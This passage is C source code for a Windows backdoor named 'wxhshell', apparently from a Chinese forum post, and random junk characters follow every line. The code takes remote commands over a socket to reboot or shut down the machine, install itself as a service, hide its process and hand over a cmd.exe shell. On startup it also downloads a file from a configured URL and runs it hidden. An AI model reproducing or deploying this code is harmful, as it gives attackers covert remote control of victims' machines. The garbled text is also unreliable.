  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?/ Cl  
  } 8e*1L:oB!  
  else { h4lrt  
ZA Xw=O5  
    switch(cmd[0]) { /R!/)sg  
  A0`#n|(Ad!  
  // 帮助 Fg<rz&MR  
  case '?': { UqEpeLK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :qL1jnR^  
    break; 3r]N\c  
  } - }2AXP2q  
  // 安装 @ZTsl ?  
  case 'i': { `/\Z{j0_  
    if(Install()) ,sln0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:8*WCiqrN  
    else ZQ'bB5I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r~U/t~V=D  
    break; RJO40&Z<Z  
    } v cZg3:j  
  // 卸载 :UDT! 5FNO  
  case 'r': { E0-<-w3'  
    if(Uninstall()) Uth H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'I8K1Q=/  
    else /2#1Oi)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ihn+_H u  
    break; hA!kkNqV  
    } NsY D~n  
  // 显示 wxhshell 所在路径 8fX<,*#I  
  case 'p': { N6wCCXd  
    char svExeFile[MAX_PATH]; ]> 36{k]&  
    strcpy(svExeFile,"\n\r"); ic]b"ItD  
      strcat(svExeFile,ExeFile); 0}d^UGD  
        send(wsh,svExeFile,strlen(svExeFile),0); oo{3-+ ?  
    break; ne (zGJd  
    } hEv}g  
  // 重启 D<:J6W7]  
  case 'b': { ::eYd23  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Zj NRg=  
    if(Boot(REBOOT)) Q>[Xm)jr:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H 6~6hg  
    else { |NoTwK  
    closesocket(wsh); gvl3NQQ%t  
    ExitThread(0); <4m@WG  
    } DpZO$5.Ec+  
    break; a][QY1E@?  
    } \8e27#PJR  
  // 关机 %pk'YA{M)q  
  case 'd': { BJ,9C.|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @fz!]/  
    if(Boot(SHUTDOWN)) qPI1\!z6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  s%c>Ge  
    else { 4T<4Rb[  
    closesocket(wsh); JX!@j3  
    ExitThread(0); &3t[p=  
    } 3j2#'Jf|:  
    break; Nt5`F@;B  
    } Hz6tk9;w  
  // 获取shell aF (L_  
  case 's': { !|@hU/  
    CmdShell(wsh); IVblS iFF  
    closesocket(wsh); -4IHs=`;I  
    ExitThread(0); /suW{8A(E  
    break; eKw!%97>  
  } #lld*I"d  
  // 退出 M1 5_  
  case 'x': { ^+'[:rE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qVDf98  
    CloseIt(wsh); zA g.,dA  
    break; dr~6}S#  
    } !/;/ X\d  
  // 离开 &?)? w-$p  
  case 'q': { ~#^suy?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Or9"T]z  
    closesocket(wsh); XVwJr""+  
    WSACleanup(); |2t1m 6\j  
    exit(1); D{)K00mm  
    break; X{YY)}^  
        } a?dUJt  
  } ]QbT%0  
  } c1x{$  
a(Fx1`}  
  // 提示信息 v%2@M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + <4gJoI  
} lH#C:n  
  } `EJ.L6j$'  
qjrl$[`X:  
  return; :Ou[LF.O  
} b:6NVHb%  
f2f2&|7  
// shell模块句柄 (.Th?p%>7  
int CmdShell(SOCKET sock) vi1 D<  
{ )oU%++cdo  
STARTUPINFO si; "!F%X%/  
ZeroMemory(&si,sizeof(si)); 818,E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RNMd,?dj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YQ7\99tj  
PROCESS_INFORMATION ProcessInfo; P]mJ01@'  
char cmdline[]="cmd"; r\."=l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZCC T  
  return 0; t|j p]Vp  
} jo}yeGbU  
z?I"[M  
// 自身启动模式 +~[>Usf  
int StartFromService(void) 9m+ejTK{U  
{ km,I75o.  
typedef struct !-cK@>.pE  
{ GVK c4HGt  
  DWORD ExitStatus; 1&.q#,EMn(  
  DWORD PebBaseAddress; 5"WI^"6b:  
  DWORD AffinityMask; ]H$Trf:L  
  DWORD BasePriority; ,%X"Caz  
  ULONG UniqueProcessId; \M U-D,@  
  ULONG InheritedFromUniqueProcessId; WM8])}<L  
}   PROCESS_BASIC_INFORMATION; dMlJ2\ ]u  
&ra2(S45  
PROCNTQSIP NtQueryInformationProcess; F>lM[Lu#  
:6[G;F7s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9pMXjsE   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !+V."*]l  
a9N$I@bi]  
  HANDLE             hProcess; zc.r&(d  
  PROCESS_BASIC_INFORMATION pbi; 8quH#IhB  
ZTg[}+0e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bHK[Z5  
  if(NULL == hInst ) return 0; 9~5LKg7Ac  
Tf{lH9ca$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F"| ;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s^R$u"pFs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3\2^LILLO  
eZdFfmYW^R  
  if (!NtQueryInformationProcess) return 0; 'A{B[  
`P/87=h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m 88(f2Ch  
  if(!hProcess) return 0; 9  M90X8  
| <bZ*7G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U_C[9Z'P  
ZE[NQ8  
  CloseHandle(hProcess); 7:'5q]9  
,:6.Gi)|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sah!|9  
if(hProcess==NULL) return 0; m}32ovpw  
G{u(pC^  
HMODULE hMod; !IC@^kkh{  
char procName[255]; $[U:Dk}  
unsigned long cbNeeded; O^DLp/vM  
fi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iit 5IV  
&~'^;hy=  
  CloseHandle(hProcess); P%y9fU2[  
?Ll1B3f  
if(strstr(procName,"services")) return 1; // 以服务启动 95.s,'0  
eHc.#OA&  
  return 0; // 注册表启动 Im"8+756  
} 5;CqGzgoP  
>>T,M@s-:  
// 主模块 nU23D@l  
int StartWxhshell(LPSTR lpCmdLine) ?6V U4nK/*  
{ /}Ct2w&<k  
  SOCKET wsl; Q;k D Jo  
BOOL val=TRUE; !N74y%=M  
  int port=0; #SR )tU  
  struct sockaddr_in door; l<UA0*t  
4bq+(CI6  
  if(wscfg.ws_autoins) Install(); \F9HsR6  
[H=l# W@  
port=atoi(lpCmdLine); <Q@{6  
?8ady% .ls  
if(port<=0) port=wscfg.ws_port; rI'kZ0&  
,veo/k<"r8  
  WSADATA data; $]~|W3\G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iUq{c+h  
{ 4B7a6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ')Qb,#/,%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7,3 g{8  
  door.sin_family = AF_INET; >a)6GZ@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F>U*Wy  
  door.sin_port = htons(port); %:.IG.`d  
tN_~zP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "u3 N9  
closesocket(wsl); M5`wfF,j  
return 1; iUk#0 I  
} "Xj>dB1~  
= /kT|  
  if(listen(wsl,2) == INVALID_SOCKET) { \]qwD m/  
closesocket(wsl); ^)1!TewCY  
return 1; h{CMPJjD  
} 8nTdZu  
  Wxhshell(wsl); s@K #M  
  WSACleanup(); oRHWb_$"  
cHUj6'neO  
return 0; jF 6[+bW<  
66'AaA;0^i  
} IRbZ ;*3dO  
v;:. k,E0  
// 以NT服务方式启动 G\Q0{4w8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5[A4K%EL  
{ bkL5srH  
DWORD   status = 0; p}lFV,V  
  DWORD   specificError = 0xfffffff; fYzZW  
,,~|o3cfq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zrp9`~_g<!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E|ZLz~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %5/h;4   
  serviceStatus.dwWin32ExitCode     = 0; p2j=73$  
  serviceStatus.dwServiceSpecificExitCode = 0; jEW@~e  
  serviceStatus.dwCheckPoint       = 0; qViolmDz  
  serviceStatus.dwWaitHint       = 0; to3D#9Ep  
c59l/qoz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d~w}{LR[1  
  if (hServiceStatusHandle==0) return; /;9]LC.g  
0[!38  
status = GetLastError(); ZZU"Q7`^  
  if (status!=NO_ERROR) ' 4 Kf  
{ W_ubgCB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7_]Bu<{f  
    serviceStatus.dwCheckPoint       = 0; ?&"!,  
    serviceStatus.dwWaitHint       = 0; (\ Gs7  
    serviceStatus.dwWin32ExitCode     = status; ^vr`t9EE  
    serviceStatus.dwServiceSpecificExitCode = specificError; -MItZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ MW_=6U  
    return; 22"/|S  
  } u|8yV.=R  
(Q6}N'T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LE@`TPg$R  
  serviceStatus.dwCheckPoint       = 0; QiQO>r  
  serviceStatus.dwWaitHint       = 0; 'fIirGOl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -\~D6OA  
} oWdvpvO  
r^!P=BS{  
// 处理NT服务事件,比如:启动、停止 ['_G1_p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hbi2amfBu  
{ #AUa'qB t  
switch(fdwControl) < c[dpK5c  
{ M\jTeB"Z  
case SERVICE_CONTROL_STOP: 2Ls  
  serviceStatus.dwWin32ExitCode = 0; \7A6+[ `fa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; roE*8:Y  
  serviceStatus.dwCheckPoint   = 0; AE&IN.-  
  serviceStatus.dwWaitHint     = 0; Auf2JH~  
  { jl~?I*Gr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &ajpD sz;  
  } zIgD R  
  return; J(%kcueb  
case SERVICE_CONTROL_PAUSE: VU 8 ~hF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %)G]rta#  
  break; i*Ee(m]I  
case SERVICE_CONTROL_CONTINUE: X00!@ ^g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w|WehNGr  
  break; b+ J)  
case SERVICE_CONTROL_INTERROGATE: Vq1v e;(8s  
  break; kc-v(WIC  
}; G9P)Y#WB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nK5FPFz8  
} &[ 4lP~  
K(B|o6[  
// 标准应用程序主函数 gv,8Wo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :,BKB*a\  
{ l*z.20^P  
>6"u{Qmr  
// 获取操作系统版本 q$ 6Tb  
OsIsNt=GetOsVer(); -P|st;?#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6zJfsKf$  
-VlXZj@u+  
  // 从命令行安装 isR|K9qf^  
  if(strpbrk(lpCmdLine,"iI")) Install(); '{xPdN  
#iAEcC0k5  
  // 下载执行文件 Wf>scl `s  
if(wscfg.ws_downexe) { p@+r&Mg%W"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?\NWKp  
  WinExec(wscfg.ws_filenam,SW_HIDE); #Jqa_$\.  
} o `N /w  
&o$Pwk\p/  
if(!OsIsNt) { enJgk(  
// 如果时win9x,隐藏进程并且设置为注册表启动 6!^&]4  
HideProc(); smN |r  
StartWxhshell(lpCmdLine); #DFfySH)A  
} OFe?T\dQn  
else I,d5Y3mC  
  if(StartFromService()) e4/Y/:vFO  
  // 以服务方式启动 O$,MdhyXC  
  StartServiceCtrlDispatcher(DispatchTable); >|@i8?|E  
else ~i y]X:U  
  // 普通方式启动 0xQ="aXE  
  StartWxhshell(lpCmdLine); I@<\DltPi  
x[5uz))  
return 0; yq2pg8%  
}
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只看该作者 1 发表于: 2006-10-10
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